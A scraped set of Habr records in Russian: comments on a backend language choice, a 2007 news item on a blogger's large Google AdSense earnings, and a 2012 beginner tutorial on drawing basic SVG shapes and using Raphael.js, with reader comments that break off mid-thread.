{ "id": [ 23080894, 23080964, 23081944, 23082228, 23083178, 23084780 ], "parent_id": [ null, null, 23080894, 23080964, 23080964, 23080964 ], "level": [ 0, 0, 1, 1, 1, 1 ], "time_published": [ 1622032662, 1622033915, 1622048561, 1622053303, 1622091517, 1622115431 ], "score": [ 0, 3, 0, 0, 0, 0 ], "votes": [ 0, 3, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Забавно видеть такие общие слова в качестве причин выбора языка:<br/>\r\n<blockquote>Язык Go мы выбрали по нескольким причинам:<br/>\r\n Высокая скорость компиляции.<br/>\r\n Экономия оперативной памяти.<br/>\r\n Достаточно широкий выбор IDE с поддержкой Go.</blockquote><br/>\r\nВместо честного — «ну нам так захотелось».</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">>Такие мелочи простительны простому автору<br/>\r\nЗнаете, как раз простой автор обычно учитывает свою репутацию. Которая у него исключительно своя, а не корпоративная. То что вы ему готовы простить — он-то как раз учтет и исправит, если намекнуть.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Программистам тоже нужна работа , а переписать бэк на новый трендовый язык сам Бог велел. :)</p><p>Раньше это был NodeJs - наигрались. </p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Да-да, вон в «соседнем» посте прикручивали похожее на Rust: <a href=\"https://habr.com/ru/post/546208/\" rel=\"noopener noreferrer nofollow\">https://habr.com/ru/post/546208/</a> (перевод, но всё гораздо подробнее).</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Зато у них теперь на бэке есть Python, Go и NodeJS. И на этом всём нужно не просто поддерживать существующее, а кодить новый функционал и дорабатывать существующий.</p></div>" ], "message_markdown": [ "UFO just landed and posted this here", "Забавно видеть такие общие слова в качестве причин выбора языка:\n> Язык Go мы выбрали по нескольким причинам:\n> Высокая скорость компиляции.\n> Экономия оперативной памяти.\n> Достаточно широкий выбор IDE с поддержкой Go.\nВместо честного — «ну нам так захотелось».", ">Такие мелочи простительны простому автору\nЗнаете, как раз простой автор обычно учитывает свою репутацию. Которая у него исключительно своя, а не корпоративная. То что вы ему готовы простить — он-то как раз учтет и исправит, если намекнуть.", "Программистам тоже нужна работа , а переписать бэк на новый трендовый язык сам Бог велел. :)\nРаньше это был NodeJs - наигрались.", "Да-да, вон в «соседнем» посте прикручивали похожее на Rust: https://habr.com/ru/post/546208/ (перевод, но всё гораздо подробнее).", "Зато у них теперь на бэке есть Python, Go и NodeJS. И на этом всём нужно не просто поддерживать существующее, а кодить новый функционал и дорабатывать существующий." ], "author": [ "{}", "Игорь (ZurgInq)", "sshikov", "Andrei (AgentCoop)", "Сергей Шашков (ShashkovS)", "GreyStrannik" ], "children": [ [ 23081944 ], [ 23082228, 23083178, 23084780 ], [], [], [], [] ] }
17,081
ru
https://habr.com/ru/post/17081/
Как зарабатывают сотни тысяч долларов на AdSens
Как заработать на Google Adsense 132 994 долларов за месяц? Знает известный блогер Джереми Шумейкер (aka Shoemoney), именно на такую сумму Google выписал ему чек августе 2005 года, подтверждающая это фотография знакома многим. Почему об этом заговорили через два года? Потому, что только недавно г-н Шумейкер рассказывает, чего ему это стоило. Доход был получен с сайта Nextpimp.com (обои для рабочего стола и рингтоны). Shoemoney приводит статистику из админки Google Adsense: • сайт расположен на сервере стоимостью 299 $ в месяц; • статистика – 75,000 уникальных посетителей в день; • это 100% рукописный контент (494.000 участников); • 70% трафика — это прямые заходы, 15% — поисковые системы и 15% — рефералы. Однако сумма эта не впечатлила Shoemoney: «Думаете, это огромные деньги, это лишь верхушка айсберга. Доход от Adsense составляет всего лишь 5% от общего дохода моих сайтов». В комментариях к чеку от Google Adsense Shoemoney пишет: «У меня есть хороший друг, который зарабатывает около двух миллионов в месяц, это примерно $65 тысяч день, т.е. получать $100 000 за несколько дней вполне реально». Скорее всего, речь идет о Маркусе Фринде и его сайте Plentyoffish.com, который ежедневно посещает 2 миллиона уникальных посетителей. Именно он признан самым крупным партнером AdSense, Сам Джереми Шумейкер в этом рейтинге на третьем месте. по материалам seonews.ru
<div xmlns="http://www.w3.org/1999/xhtml">Как заработать на Google Adsense 132 994 долларов за месяц? Знает известный блогер Джереми Шумейкер (aka Shoemoney), именно на такую сумму Google выписал ему чек августе 2005 года, подтверждающая это фотография знакома многим. Почему об этом заговорили через два года? Потому, что только недавно г-н Шумейкер рассказывает, чего ему это стоило.<a name="habracut"></a><br/> <br/> <a href="http://www.shoemoney.com/gallery/d/5224-2/adsensecheck.jpg"><img src="http://www.seonews.ru/image/uploaded/paraimage/4416.jpg" align="right" alt="photo" data-src="http://www.seonews.ru/image/uploaded/paraimage/4416.jpg" data-blurred="true"/></a> Доход был получен с сайта Nextpimp.com (обои для рабочего стола и рингтоны). <a href="http://www.shoemoney.com/2007/11/04/the-adsense-check-for-13299497/">Shoemoney приводит статистику</a> из админки Google Adsense:<br/> • сайт расположен на сервере стоимостью 299 $ в месяц;<br/> • статистика – 75,000 уникальных посетителей в день;<br/> • это 100% рукописный контент (494.000 участников);<br/> • 70% трафика — это прямые заходы, 15% — поисковые системы и 15% — рефералы.<br/> <br/> Однако сумма эта не впечатлила Shoemoney: «Думаете, это огромные деньги, это лишь верхушка айсберга. Доход от Adsense составляет всего лишь 5% от общего дохода моих сайтов». В комментариях к чеку от Google Adsense Shoemoney пишет: «У меня есть хороший друг, который зарабатывает около двух миллионов в месяц, это примерно $65 тысяч день, т.е. получать $100 000 за несколько дней вполне реально».<br/> <br/> Скорее всего, речь идет о Маркусе Фринде и его сайте Plentyoffish.com, который ежедневно посещает 2 миллиона уникальных посетителей. Именно он признан самым крупным партнером AdSense, Сам Джереми Шумейкер в этом <a href="http://www.rabotavinternet.info/success-google-adsense.html?content=success_google_adsense">рейтинге</a> на третьем месте.<br/> <br/> <i>по материалам seonews.ru</i></div>
Spy (Spy)
null
null
Как заработать на Google Adsense 132 994 долларов за месяц? Знает известный блогер Джереми Шумейкер (aka Shoemoney), именно на такую сумму Google выписал ему чек августе 2005 года, подтверждающая это фотография знакома многим. Почему об этом заговорили через два года? Потому, что только недавно г-н Шумейкер рассказывает, чего ему это стоило.
Как заработать на Google Adsense 132 994 долларов за месяц? Знает известный блогер Джереми Шумейкер (aka Shoemoney), именно на такую сумму Google выписал ему чек августе 2005 года, подтверждающая это фотография знакома многим. Почему об этом заговорили через два года? Потому, что только недавно г-н Шумейкер рассказывает, чего ему это стоило.
article
1,196,866,965
{ "commentsCount": 9, "favoritesCount": 7, "readingCount": 1234, "score": 1, "votesCount": 21, "votesCountPlus": 11, "votesCountMinus": 10 }
[]
[ "closet" ]
[ "popsci" ]
[ "Google", "AdSence", "доходы" ]
1
null
null
{ "id": [ 11806761, 11806763, 11806765, 11806767, 11806769, 11806771, 11806773, 11806775, 11806777 ], "parent_id": [ null, null, null, null, null, 11806765, 11806765, null, null ], "level": [ 0, 0, 0, 0, 0, 1, 1, 0, 0 ], "time_published": [ 1196867295, 1196867340, 1196873222, 1196881791, 1196884653, 1196887679, 1196889161, 1196891148, 1197025911 ], "score": [ -2, -3, 0, -1, 0, 0, -1, 0, 0 ], "votes": [ 4, 5, 0, 1, 0, 0, 1, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это несправедливо, что посещаемость приносит меньше прибыли, чем ТИЦ и PR. Продажа ссылок и партнерки выгоднее чем баннеры.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Очень приличные деньги. А зачем эта новость? Ведь все и так знают для чего нужен Adsence. Только не каждый сможет на нём заработать - это доступно единицам.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Поправь ошибку в заголовоке, плиз.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">это боян страшный.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А я не знал.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">спасибо</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">навеяный хокку :]<br/>\n<br/>\nошибку нашел<br/>\nно не в силах исправить её<br/>\nне вики</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Действительно люди зарабатывают столько на рекламме, но никто из них не декларирует откуда у них такой трафик, сколько и кому они платят за рекламму и так далее...</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">информации более года. тем более там все не так просто как тут описано, уж поверьте.</div>" ], "message_markdown": [ "Это несправедливо, что посещаемость приносит меньше прибыли, чем ТИЦ и PR. Продажа ссылок и партнерки выгоднее чем баннеры.", "Очень приличные деньги. А зачем эта новость? Ведь все и так знают для чего нужен Adsence. Только не каждый сможет на нём заработать - это доступно единицам.", "Поправь ошибку в заголовоке, плиз.", "это боян страшный.", "А я не знал.", "спасибо", "навеяный хокку :]\nошибку нашел\nно не в силах исправить её\nне вики", "Действительно люди зарабатывают столько на рекламме, но никто из них не декларирует откуда у них такой трафик, сколько и кому они платят за рекламму и так далее...", "информации более года. тем более там все не так просто как тут описано, уж поверьте." ], "author": [ "GogolMail (gogolmail)", "Александр Легостаев (SashaLiga)", "Ильин Роман (GeForester)", "Silverstorm (Silverstorm)", "Михаил (Disaview)", "Spy (Spy)", "rhrn (rhrn)", "Роман (RomanAS)", "Silverstorm (Silverstorm)" ], "children": [ [], [], [ 11806771, 11806773 ], [], [], [], [], [], [] ] }
157,087
ru
https://habr.com/ru/post/157087/
Знакомство с SVG-графикой
Этот пост — первый из серии статей о SVG (Scalable Vector Graphic), рассказывающий об основах векторной графики на сайте. Векторная графика широко применяется в полиграфии. Для веб-сайтов существует SVG, которая согласно официальной спецификации на w3.org является языком для описания двумерной графики в XML. SVG включает в себя три типа объектов: фигуры, изображения и текст. SVG существует с 1999 года, а с 16 августа 2011 включена в рекомендации W3C. SVG сильно недооценена веб-разработчиками, хотя имеет несколько важных преимуществ. Демонстрация всех примеров / Скачать исходники / Официальная документация ## Преимущества SVG Масштабирование: в отличие от растровой графики, SVG не теряет в качестве при масштабировании, поэтому ее удобно использовать для разработки под retina. Уменьшение HTTP-запросов: при использовании SVG сокращается количество обращений к серверу, соответственно увеличивается скорость загрузки сайта. Стайлинг и скриптинг: при помощи CSS можно менять параметры графики на сайте, например фон, прозрачность или границы. Анимация и редактирование: при помощи javascript можно анимировать SVG, а также редактировать в текстовом или графическом редакторе (InkScape или Adobe Illustrator). Малый размер: объекты SVG весят намного меньше растровых изображений. ## Основные SVG-фигуры Согласно официальной спецификации можно рисовать простые объекты с помощью SVG: прямоугольник, окружность, линию, эллипс, ломаную линию или многоугольник при помощи тега svg. Простая линия с помощью тега line с всего двумя параметрами — точками начала (x1 и x2) и конца (y1 и y2): [code] <svg> <line x1="0" y1="0" x2="200" y2="200" stroke-width="1" stroke="rgb(0,0,0)"/> </svg> [/code] Также можно добавить атрибуты или стили stroke and stroke-width, чтобы задать цвет и ширину: [code] style="stroke-width:1; stroke:rgb(0,0,0);" [/code] Демо ### Ломаная линия Синтаксис аналогичен предыдущему, используется тег polyline, атрибут points задает точки: [code] <svg> <polyline points="0,0 50,0 150,100 250,100 300,150" fill="rgb(249,249,249)" stroke-width="1" stroke="rgb(0,0,0)"/> </svg> [/code] Демо ### Прямоугольник Вызывается тегом rect, можно добавить некоторые атрибуты: [code] <svg> <rect width="200" height="200" fill="rgb(234,234,234)" stroke-width="1" stroke="rgb(0,0,0)"/> </svg> [/code] Демо ### Окружность Вызывается тегом circle, в примере с помощью атрибута r задаем радиус, cx и cy задают координаты центра: [code] <svg> <circle cx="102" cy="102" r="100" fill="rgb(234,234,234)" stroke-width="1" stroke="rgb(0,0,0)"/> </svg> [/code] Демо ### Эллипс Вызывается тегом ellipse, работает аналогично circle, но можно задать два радиуса — rx и ry: [code] <svg> <ellipse cx="100" cy="50" rx="100" ry="50" fill="rgb(234,234,234)" stroke-width="1" stroke="rgb(0,0,0)"/> </svg> [/code] Демо ### Многоугольник Вызывается тегом polygon, многоугольник может иметь разное количество сторон: [code] <svg> <polygon points="70.444,218.89 15.444,118.89 70.444,18.89 180.444,18.89 235.444,118.89 180.444,218.89" fill="rgb(234,234,234)" stroke-width="1" stroke="rgb(0,0,0)"/> </svg> [/code] Демо ## Использование редакторов Как видно из примеров, рисование базовых SVG-фигур — это очень просто, но объекты могут быть намного сложнее. Для таких нужно использовать редакторы векторной графики, например Adobe Illustrator или Inkscape, где можно сохранять файлы в SVG-формате, а потом редактировать в текстовом редакторе. Вставлять на страницу SVG можно с помощью embed, iframe и object: [code] <object data="images/ipod.svg" type="image/svg+xml"></object> [/code] Пример — изображение айпода с сайта OpenClipArt.org: ## Поддержка браузерами SVG поддерживается почти всеми современными браузерами за исключением Internet Explorer 8 и ниже. Но и это может быть исправлено использованием javascript-библиотеки Raphael.js. Конвертировать SVG-файл в формат этой библиотеки можно на сайте ReadySetRaphael.com. Для начала необходимо подключить библиотеку Raphael.js на нужную страницу, затем загрузить SVG-файл, скопировать и вставить сгенерированный код в function: [code] window.onload=function() { //сюда вставить код Raphael } [/code] На странице вставить div с атрибутом rsr: [code] <div id="rsr"></div> [/code] Демо ## Заключение Вот и все основы SVG, в следующих статьях будут разобраны более сложные примеры использования векторной графики. Немного полезного чтива: An Introduction to SVG – W3 Schools Resolution Independent with SVG – Smashing Magazine Why Aren’t You Using SVG? – NetTuts Оригинал примеров – hongkiat.com
<div xmlns="http://www.w3.org/1999/xhtml">Этот пост — первый из серии статей о SVG (Scalable Vector Graphic), рассказывающий об основах векторной графики на сайте.<br/> <br/> <img src="https://habrastorage.org/r/w1560/storage2/f17/067/d06/f17067d0606019042fd33aa5c8158043.png" data-src="https://habrastorage.org/storage2/f17/067/d06/f17067d0606019042fd33aa5c8158043.png"/><br/> <br/> Векторная графика широко применяется в полиграфии. Для веб-сайтов существует SVG, которая согласно <a href="http://www.w3.org/TR/SVG/">официальной спецификации на w3.org</a> является <em>языком для описания двумерной графики в XML. SVG включает в себя три типа объектов: фигуры, изображения и текст. </em>SVG <a href="http://en.wikipedia.org/wiki/Scalable_Vector_Graphics">существует с 1999 года</a>, а с 16 августа 2011 включена в <a href="http://www.w3.org/TR/SVG11/">рекомендации W3C</a>. SVG сильно недооценена веб-разработчиками, хотя имеет несколько важных преимуществ.<a name="habracut"></a><br/> <br/> <a href="http://koulikov.com/wp-content/uploads/2012/11/svg/index.htm">Демонстрация всех примеров</a> / <a href="http://koulikov.com/wp-content/uploads/2012/11/svg/svg.zip">Скачать исходники</a> / <a href="http://www.w3.org/TR/SVG/">Официальная документация</a><br/> <br/> <h2>Преимущества SVG</h2><br/> <ul> <li>Масштабирование: в отличие от растровой графики, SVG не теряет в качестве при масштабировании, поэтому ее удобно использовать для разработки под retina.</li> <li>Уменьшение HTTP-запросов: при использовании SVG сокращается количество обращений к серверу, соответственно увеличивается скорость загрузки сайта.</li> <li>Стайлинг и скриптинг: при помощи CSS можно менять параметры графики на сайте, например фон, прозрачность или границы.</li> <li>Анимация и редактирование: при помощи javascript можно анимировать SVG, а также редактировать в текстовом или графическом редакторе (<a href="http://inkscape.org/">InkScape</a> или <a href="http://www.adobe.com/products/illustrator.html">Adobe Illustrator</a>).</li> <li>Малый размер: объекты SVG весят намного меньше растровых изображений.</li> </ul><br/> <br/> <h2>Основные SVG-фигуры</h2><br/> Согласно <a href="http://www.w3.org/TR/SVG11/shapes.html">официальной спецификации</a> можно рисовать простые объекты с помощью SVG: прямоугольник, окружность, линию, эллипс, ломаную линию или многоугольник при помощи тега <strong>svg</strong>.<br/> <br/> Простая линия с помощью тега <strong>line</strong> с всего двумя параметрами — точками начала (x1 и x2) и конца (y1 и y2):<br/> <br/> <pre><code class="html">&lt;svg> &lt;line x1="0" y1="0" x2="200" y2="200" stroke-width="1" stroke="rgb(0,0,0)"/> &lt;/svg> </code></pre><br/> <br/> Также можно добавить атрибуты или стили stroke and stroke-width, чтобы задать цвет и ширину:<br/> <br/> <pre><code class="css">style="stroke-width:1; stroke:rgb(0,0,0);" </code></pre><br/> <br/> <img title="svg-line" src="http://koulikov.com/wp-content/uploads/2012/11/svg-line.jpg" width="500" height="280" data-src="http://koulikov.com/wp-content/uploads/2012/11/svg-line.jpg" data-blurred="true"/><br/> <br/> <a href="http://koulikov.com/wp-content/uploads/2012/11/svg/index.htm#line">Демо</a><br/> <br/> <h3>Ломаная линия</h3><br/> Синтаксис аналогичен предыдущему, используется тег <strong>polyline</strong>, атрибут <strong>points</strong> задает точки:<br/> <br/> <pre><code class="html">&lt;svg> &lt;polyline points="0,0 50,0 150,100 250,100 300,150" fill="rgb(249,249,249)" stroke-width="1" stroke="rgb(0,0,0)"/> &lt;/svg> </code></pre><br/> <br/> <img title="svg-polyline" src="http://koulikov.com/wp-content/uploads/2012/11/svg-polyline.jpg" width="500" height="280" data-src="http://koulikov.com/wp-content/uploads/2012/11/svg-polyline.jpg" data-blurred="true"/><br/> <br/> <a href="http://koulikov.com/wp-content/uploads/2012/11/svg/index.htm#polyline">Демо</a><br/> <br/> <h3>Прямоугольник</h3><br/> Вызывается тегом rect, можно добавить некоторые атрибуты:<br/> <br/> <pre><code class="html">&lt;svg> &lt;rect width="200" height="200" fill="rgb(234,234,234)" stroke-width="1" stroke="rgb(0,0,0)"/> &lt;/svg> </code></pre><br/> <br/> <img title="svg-rect" src="http://koulikov.com/wp-content/uploads/2012/11/svg-rect.jpg" width="500" height="280" data-src="http://koulikov.com/wp-content/uploads/2012/11/svg-rect.jpg" data-blurred="true"/><br/> <br/> <a href="http://koulikov.com/wp-content/uploads/2012/11/svg/index.htm#rect">Демо</a><br/> <br/> <h3>Окружность</h3><br/> Вызывается тегом <strong>circle</strong>, в примере с помощью атрибута <strong>r</strong> задаем радиус, <strong>cx</strong> и <strong>cy</strong> задают координаты центра:<br/> <br/> <pre><code class="html">&lt;svg> &lt;circle cx="102" cy="102" r="100" fill="rgb(234,234,234)" stroke-width="1" stroke="rgb(0,0,0)"/> &lt;/svg> </code></pre><br/> <br/> <img title="svg-circle" src="http://koulikov.com/wp-content/uploads/2012/11/svg-circle.jpg" width="500" height="280" data-src="http://koulikov.com/wp-content/uploads/2012/11/svg-circle.jpg" data-blurred="true"/><br/> <br/> <a href="http://koulikov.com/wp-content/uploads/2012/11/svg/index.htm#circle">Демо</a><br/> <br/> <h3>Эллипс</h3><br/> Вызывается тегом<strong> ellipse</strong>, работает аналогично <strong>circle</strong>, но можно задать два радиуса — <strong>rx</strong> и <strong>ry</strong>:<br/> <br/> <pre><code class="html">&lt;svg> &lt;ellipse cx="100" cy="50" rx="100" ry="50" fill="rgb(234,234,234)" stroke-width="1" stroke="rgb(0,0,0)"/> &lt;/svg> </code></pre><br/> <br/> <img title="svg-ellipse" src="http://koulikov.com/wp-content/uploads/2012/11/svg-ellipse.jpg" width="500" height="280" data-src="http://koulikov.com/wp-content/uploads/2012/11/svg-ellipse.jpg" data-blurred="true"/><br/> <br/> <a href="http://koulikov.com/wp-content/uploads/2012/11/svg/index.htm#ellipse">Демо</a><br/> <br/> <h3>Многоугольник</h3><br/> Вызывается тегом <strong>polygon</strong>, многоугольник может иметь разное количество сторон:<br/> <br/> <pre><code class="html">&lt;svg> &lt;polygon points="70.444,218.89 15.444,118.89 70.444,18.89 180.444,18.89 235.444,118.89 180.444,218.89" fill="rgb(234,234,234)" stroke-width="1" stroke="rgb(0,0,0)"/> &lt;/svg> </code></pre><br/> <br/> <img title="svg-polygon" src="http://koulikov.com/wp-content/uploads/2012/11/svg-polygon.jpg" width="500" height="280" data-src="http://koulikov.com/wp-content/uploads/2012/11/svg-polygon.jpg" data-blurred="true"/><br/> <br/> <a href="http://koulikov.com/wp-content/uploads/2012/11/svg/index.htm#polygon">Демо</a><br/> <br/> <h2>Использование редакторов</h2><br/> Как видно из примеров, рисование базовых SVG-фигур — это очень просто, но объекты могут быть намного сложнее. Для таких нужно использовать редакторы векторной графики, например Adobe Illustrator или Inkscape, где можно сохранять файлы в SVG-формате, а потом редактировать в текстовом редакторе. Вставлять на страницу SVG можно с помощью embed, iframe и object:<br/> <br/> <pre><code class="html">&lt;object data="images/ipod.svg" type="image/svg+xml">&lt;/object> </code></pre><br/> <br/> Пример — изображение айпода с сайта <a href="http://openclipart.org/detail/147673/apple-ipod-by-nikla88">OpenClipArt.org</a>:<br/> <br/> <img title="svg-ipod" src="http://koulikov.com/wp-content/uploads/2012/11/svg-ipod.jpg" width="500" height="300" data-src="http://koulikov.com/wp-content/uploads/2012/11/svg-ipod.jpg" data-blurred="true"/><br/> <br/> <h2>Поддержка браузерами</h2><br/> SVG <a href="http://caniuse.com/svg">поддерживается</a> почти всеми современными браузерами за исключением Internet Explorer 8 и ниже. Но и это может быть исправлено использованием javascript-библиотеки <a href="http://raphaeljs.com/">Raphael.js</a>. Конвертировать  SVG-файл в формат этой библиотеки можно на сайте <a href="http://readysetraphael.com/">ReadySetRaphael.com</a>.<br/> <br/> <img title="svg-raphael" src="http://koulikov.com/wp-content/uploads/2012/11/svg-raphael.jpg" width="500" height="280" data-src="http://koulikov.com/wp-content/uploads/2012/11/svg-raphael.jpg" data-blurred="true"/><br/> <br/> Для начала необходимо подключить библиотеку <a href="http://raphaeljs.com/">Raphael.js</a> на нужную страницу, затем загрузить SVG-файл, скопировать и вставить сгенерированный код в function:<br/> <br/> <pre><code class="javascript">window.onload=function() { //сюда вставить код Raphael } </code></pre><br/> <br/> На странице вставить <b>div</b> с атрибутом <b>rsr</b>:<br/> <br/> <pre><code class="html">&lt;div id="rsr">&lt;/div> </code></pre><br/> <br/> <a href="http://koulikov.com/wp-content/uploads/2012/11/svg/index.htm#ipod">Демо</a><br/> <br/> <h2>Заключение</h2><br/> Вот и все основы SVG, в следующих статьях будут разобраны более сложные примеры использования векторной графики. <br/> <br/> Немного полезного чтива:<br/> <ul> <li><a href="http://www.w3schools.com/svg/svg_inhtml.asp" rel="external">An Introduction to SVG</a> – W3 Schools</li> <li><a href="http://coding.smashingmagazine.com/2012/01/16/resolution-independence-with-svg/" rel="external">Resolution Independent with SVG</a> – Smashing Magazine</li> <li><a href="http://net.tutsplus.com/tutorials/why-arent-you-using-svg/" rel="external">Why Aren’t You Using SVG?</a> – NetTuts</li> <li><a href="http://www.hongkiat.com/blog/scalable-vector-graphic/" rel="external">Оригинал примеров</a> – hongkiat.com</li> </ul></div>
Кирилл (grokru)
null
null
Этот пост — первый из серии статей о SVG (Scalable Vector Graphic), рассказывающий об основах векторной графики на сайте.<br/> <br/> <img src="https://habrastorage.org/storage2/f17/067/d06/f17067d0606019042fd33aa5c8158043.png"/><br/> <br/> Векторная графика широко применяется в полиграфии. Для веб-сайтов существует SVG, которая согласно <a href="http://www.w3.org/TR/SVG/">официальной спецификации на w3.org</a> является <em>языком для описания двумерной графики в XML. SVG включает в себя три типа объектов: фигуры, изображения и текст. </em>SVG <a href="http://en.wikipedia.org/wiki/Scalable_Vector_Graphics">существует с 1999 года</a>, а с 16 августа 2011 включена в <a href="http://www.w3.org/TR/SVG11/">рекомендации W3C</a>. SVG сильно недооценена веб-разработчиками, хотя имеет несколько важных преимуществ.
Этот пост — первый из серии статей о SVG (Scalable Vector Graphic), рассказывающий об основах векторной графики на сайте. Векторная графика широко применяется в полиграфии. Для веб-сайтов существует SVG, которая согласно официальной спецификации на w3.org является языком для описания двумерной графики в XML. SVG включает в себя три типа объектов: фигуры, изображения и текст. SVG существует с 1999 года, а с 16 августа 2011 включена в рекомендации W3C. SVG сильно недооценена веб-разработчиками, хотя имеет несколько важных преимуществ.
article
1,351,812,002
{ "commentsCount": 97, "favoritesCount": 702, "readingCount": 295384, "score": 70, "votesCount": 80, "votesCountPlus": 75, "votesCountMinus": 5 }
[]
[ "web_design", "vector_graphics" ]
[ "design" ]
[ "svg" ]
3
tutorial
null
{ "id": [ 5370945, 5371089, 5371093, 5371149, 5371191, 5371223, 5371327, 5371329, 5371367, 5371407, 5371439, 5371451, 5371469, 5371545, 5371549, 5371595, 5371649, 5371663, 5371705, 5371761, 5371789, 5371799, 5371801, 5371813, 5371889, 5371899, 5371913, 5371923, 5371967, 5372027, 5372075, 5372089, 5372101, 5372149, 5372235, 5372249, 5372251, 5372253, 5372269, 5372289, 5372293, 5372353, 5372399, 5372411, 5372503, 5372609, 5372623, 5372625, 5372709, 5372759, 5372779, 5372807, 5372839, 5372841, 5372859, 5372883, 5372931, 5372953, 5372957, 5372961, 5372969, 5372993, 5373015, 5373017, 5373027, 5373053, 5373059, 5373063, 5373065, 5373077, 5373103, 5373143, 5373271, 5373313, 5373329, 5373367, 5373433, 5373495, 5373509, 5373761, 5373859, 5373905, 5373959, 5374789, 5375657, 5375693, 5377025, 5377203, 5377213, 5377239, 5387121, 5387149, 5387333, 5387339, 5398155, 5445151, 5485447 ], "parent_id": [ null, null, 5371089, null, null, null, null, 5371191, null, null, 5371407, null, 5371439, 5371407, null, null, null, null, 5371595, 5371595, 5371649, 5371439, 5371789, 5371761, 5371663, 5371799, null, 5371761, 5371407, 5371149, 5371801, 5371889, 5372027, 5371801, 5372027, 5371439, 5371327, 5372149, 5371451, 5371549, null, 5372027, 5372251, 5372251, 5371595, 5372269, 5372089, 5372289, 5372289, 5372623, 5372623, 5372609, 5372625, 5372709, 5371089, 5372353, 5372253, null, null, 5372411, 5371439, 5372101, 5372399, 5372839, 5373017, 5373027, 5373053, 5372841, 5373063, 5372251, 5372759, 5373077, null, 5373065, 5373313, 5373329, 5372883, 5372961, 5373015, null, null, 5370945, null, 5373367, 5372101, 5372101, 5375657, 5374789, 5372101, 5377213, 5377203, 5373271, 5377025, 5373271, 5372235, 5371367, null ], "level": [ 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 2, 1, 0, 0, 0, 0, 1, 1, 1, 2, 2, 2, 1, 3, 0, 2, 1, 1, 3, 2, 2, 3, 2, 2, 1, 4, 1, 1, 0, 2, 2, 2, 1, 2, 3, 2, 2, 4, 4, 3, 3, 3, 1, 3, 5, 0, 0, 3, 2, 3, 3, 4, 5, 6, 7, 4, 5, 2, 5, 3, 0, 6, 7, 8, 4, 4, 4, 0, 0, 1, 0, 9, 3, 3, 4, 10, 3, 4, 11, 1, 5, 1, 3, 1, 0 ], "time_published": [ 1351812639, 1351819116, 1351819239, 1351822155, 1351824156, 1351826183, 1351830627, 1351830725, 1351831450, 1351832051, 1351832654, 1351832808, 1351832956, 1351834171, 1351834196, 1351834903, 1351835864, 1351836062, 1351836615, 1351837219, 1351837524, 1351837662, 1351837683, 1351837774, 1351838550, 1351838615, 1351838764, 1351838886, 1351839396, 1351839887, 1351840408, 1351840589, 1351840694, 1351841047, 1351841481, 1351841558, 1351841562, 1351841581, 1351841641, 1351841720, 1351841742, 1351842103, 1351842481, 1351842587, 1351843303, 1351844187, 1351844313, 1351844334, 1351845031, 1351845629, 1351845766, 1351845946, 1351846131, 1351846159, 1351846323, 1351846442, 1351846682, 1351846792, 1351846852, 1351846907, 1351846954, 1351847085, 1351847249, 1351847293, 1351847337, 1351847581, 1351847612, 1351847700, 1351847753, 1351847883, 1351848145, 1351848352, 1351849336, 1351849690, 1351849780, 1351850149, 1351850976, 1351851625, 1351851726, 1351854160, 1351855033, 1351855506, 1351855955, 1351864484, 1351876944, 1351877592, 1351907424, 1351923548, 1351924149, 1351925079, 1352186874, 1352187157, 1352188832, 1352189027, 1352330028, 1353131980, 1353747669 ], "score": [ 5, -6, 0, 0, 2, 0, 6, 2, 1, 0, 0, 2, 2, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 1, 0, 1, 0, 1, 0, 2, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, -3, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, -1, 1, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, -2, 0, 0, 1, 0, 0, 0, 0, 0, -2, -5, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0 ], "votes": [ 5, 6, 0, 0, 2, 0, 8, 2, 1, 0, 0, 2, 2, 4, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 1, 0, 1, 0, 1, 0, 2, 0, 1, 0, 0, 0, 0, 0, 0, 2, 1, 0, 0, 0, 0, 3, 0, 0, 1, 1, 0, 0, 0, 0, 4, 0, 1, 1, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 1, 0, 0, 2, 0, 0, 2, 5, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">SVG ещё можно анимировать при помощи <a href=\"http://www.w3.org/TR/smil/smil-animation.html\">SMIL</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ещё бы неплохо написать хотя бы пару слов про поддержку браузерами<br/>\r\n<a href=\"http://caniuse.com/#search=svg\">caniuse.com/#search=svg</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это написано в предпоследнем разделе.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А как в SVG нарисовать кривую Безье?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Хороший формат. До появления Рафаэль нужно было использовать адобовский плагин, который позволял работать чуть ли на в 5-м IE… </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вы пробовали делать сложные анимации с использованием svg?<br/>\r\nДаже несложная svg анимация, ощутимо грузит firefox. Причем как CSS Transition/Animate, так и с помощью SMIL или javascript.<br/>\r\nГлюки при работе с сложными svg в opera. Проблема рендеринга. 